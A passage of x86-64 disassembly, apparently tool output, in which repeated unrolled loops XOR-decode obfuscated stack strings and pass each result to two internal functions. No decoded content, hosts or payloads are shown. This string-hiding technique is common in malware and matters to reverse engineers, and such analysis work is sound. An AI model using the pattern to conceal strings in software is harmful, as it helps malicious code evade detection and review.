sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x2517], al
lea ecx, [r8 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x2518], al
lea ecx, [r8 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x2519], al
lea ecx, [r8 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x251a], al
lea ecx, [r8 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x251b], al
lea ecx, [r8 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x251c], al
lea ecx, [r8 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x251d], al
lea ecx, [r8 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x251e], al
lea ecx, [r8 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x251f], al
lea ecx, [r8 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x2520], al
lea ecx, [r8 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x2521], al
lea ecx, [r8 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x2522], al
lea ecx, [r8 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x2523], al
add r10d, 0x17
cmp r10d, 0x5c
jl 0x1400f6f20
lea rdx, [rsp + 0x250d]
lea rcx, [rsp + 0x1128]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea390]
vmovups ymmword [rsp + 0x1855], ymm0
vmovups xmm1, xmmword [0x1401ea3b0]
vmovups xmmword [rsp + 0x1875], xmm1
mov eax, dword [0x1401ea3c0]
mov dword [rsp + 0x1885], eax
movzx eax, word [0x1401ea3c4]
mov word [rsp + 0x1889], ax
xor r10d, r10d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r10d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [rsp + r10 + 0x1855], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x1856], al
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x1857], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x1858], al
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x1859], al
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x185a], al
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x185b], al
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x185c], al
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x185d], al
lea ecx, [r8 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x185e], al
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x185f], al
lea ecx, [r8 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x1860], al
lea ecx, [r8 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x1861], al
lea ecx, [r8 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x1862], al
lea ecx, [r8 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x1863], al
lea ecx, [r8 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x1864], al
lea ecx, [r8 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x1865], al
lea ecx, [r8 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x1866], al
lea ecx, [r8 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x1867], al
lea ecx, [r8 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x1868], al
lea ecx, [r8 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x1869], al
lea ecx, [r8 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x186a], al
lea ecx, [r8 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x186b], al
lea ecx, [r8 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x186c], al
lea ecx, [r8 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x186d], al
lea ecx, [r8 + 0x17]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x186e], al
lea ecx, [r8 + 0x18]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x186f], al
add r10d, 0x1b
cmp r10d, 0x36
jl 0x1400f7370
lea rdx, [rsp + 0x1855]
lea rcx, [rsp + 0x1148]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea3d0]
vmovups ymmword [rsp + 0x2320], ymm0
vmovups ymm1, ymmword [0x1401ea3f0]
vmovups ymmword [rsp + 0x2340], ymm1
vmovsd xmm0, qword [0x1401ea410]
vmovsd qword [rsp + 0x2360], xmm0
mov eax, dword [0x1401ea418]
mov dword [rsp + 0x2368], eax
movzx eax, word [0x1401ea41c]
mov word [rsp + 0x236c], ax
movzx eax, byte [0x1401ea41e]
mov byte [rsp + 0x236e], al
xor r8d, r8d
lea r9, [rsp + 0x2320]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4f
jl 0x1400f7890
lea rdx, [rsp + 0x2320]
lea rcx, [rsp + 0x1168]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea420]
vmovups ymmword [rsp + 0x236f], ymm0
vmovups ymm1, ymmword [0x1401ea440]
vmovups ymmword [rsp + 0x238f], ymm1
vmovsd xmm0, qword [0x1401ea460]
vmovsd qword [rsp + 0x23af], xmm0
mov eax, dword [str._9_o]
mov dword [rsp + 0x23b7], eax
movzx eax, word [0x1401ea46c]
mov word [rsp + 0x23bb], ax
movzx eax, byte [0x1401ea46e]
mov byte [rsp + 0x23bd], al
xor r8d, r8d
lea r9, [rsp + 0x236f]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4f
jl 0x1400f7941
lea rdx, [rsp + 0x236f]
lea rcx, [rsp + 0x1188]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea470]
vmovups ymmword [rsp + 0x2462], ymm0
vmovups ymm1, ymmword [0x1401ea490]
vmovups ymmword [rsp + 0x2482], ymm1
vmovups xmm0, xmmword [0x1401ea4b0]
vmovups xmmword [rsp + 0x24a2], xmm0
mov eax, dword [0x1401ea4c0]
mov dword [rsp + 0x24b2], eax
xor r10d, r10d
nop dword [rax]
movsxd r9, r10d
mov eax, 0x51eb851f
imul r10d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [rsp + r9 + 0x2462], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r9 + 0x2463], al
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r9 + 0x2464], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r9 + 0x2465], al
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r9 + 0x2466], al
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r9 + 0x2467], al
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r9 + 0x2468], al
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r9 + 0x2469], al
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r9 + 0x246a], al
lea ecx, [r8 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r9 + 0x246b], al
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r9 + 0x246c], al
lea ecx, [r8 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r9 + 0x246d], al
lea ecx, [r8 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r9 + 0x246e], al
lea ecx, [r8 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r9 + 0x246f], al
lea ecx, [r8 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r9 + 0x2470], al
lea ecx, [r8 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r9 + 0x2471], al
lea ecx, [r8 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r9 + 0x2472], al
lea ecx, [r8 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r9 + 0x2473], al
lea ecx, [r8 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r9 + 0x2474], al
lea ecx, [r8 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r9 + 0x2475], al
lea ecx, [r8 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r9 + 0x2476], al
lea ecx, [r8 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r9 + 0x2477], al
lea ecx, [r8 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r9 + 0x2478], al
lea ecx, [r8 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r9 + 0x2479], al
lea ecx, [r8 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r9 + 0x247a], al
lea ecx, [r8 + 0x17]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r9 + 0x247b], al
lea ecx, [r8 + 0x18]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r9 + 0x247c], al
lea ecx, [r8 + 0x19]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r9 + 0x247d], al
lea ecx, [r8 + 0x1a]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r9 + 0x247e], al
lea ecx, [r8 + 0x1b]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x53
xor byte [rsp + r9 + 0x247f], al
lea ecx, [r8 + 0x1c]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x54
xor byte [rsp + r9 + 0x2480], al
lea ecx, [r8 + 0x1d]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x55
xor byte [rsp + r9 + 0x2481], al
lea ecx, [r8 + 0x1e]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x56
xor byte [rsp + r9 + 0x2482], al
lea ecx, [r8 + 0x1f]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x57
xor byte [rsp + r9 + 0x2483], al
lea ecx, [r8 + 0x20]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x58
xor byte [rsp + r9 + 0x2484], al
lea ecx, [r8 + 0x21]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x59
xor byte [rsp + r9 + 0x2485], al
lea ecx, [r8 + 0x22]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x5a
xor byte [rsp + r9 + 0x2486], al
lea ecx, [r8 + 0x23]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x5b
xor byte [rsp + r9 + 0x2487], al
lea ecx, [r8 + 0x24]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x5c
xor byte [rsp + r9 + 0x2488], al
lea ecx, [r8 + 0x25]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x5d
xor byte [rsp + r9 + 0x2489], al
lea ecx, [r8 + 0x26]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x5e
xor byte [rsp + r9 + 0x248a], al
lea ecx, [r8 + 0x27]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x5f
xor byte [rsp + r9 + 0x248b], al
add r10d, 0x2a
cmp r10d, 0x54
jl 0x1400f79d0
lea rdx, [rsp + 0x2462]
lea rcx, [rsp + 0x11a8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea4d0]
vmovups ymmword [rsp + 0x23be], ymm0
vmovups ymm1, ymmword [0x1401ea4f0]
vmovups ymmword [rsp + 0x23de], ymm1
vmovups xmm0, xmmword [0x1401ea510]
vmovups xmmword [rsp + 0x23fe], xmm0
movzx eax, byte [0x1401ea520]
mov byte [rsp + 0x240e], al
xor r10d, r10d
mov eax, 0x51eb851f
mul r10d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [rsp + r10 + 0x23be], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x23bf], al
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x23c0], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x23c1], al
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x23c2], al
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x23c3], al
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x23c4], al
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x23c5], al
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x23c6], al
lea ecx, [r8 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x23c7], al
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x23c8], al
lea ecx, [r8 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x23c9], al
lea ecx, [r8 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
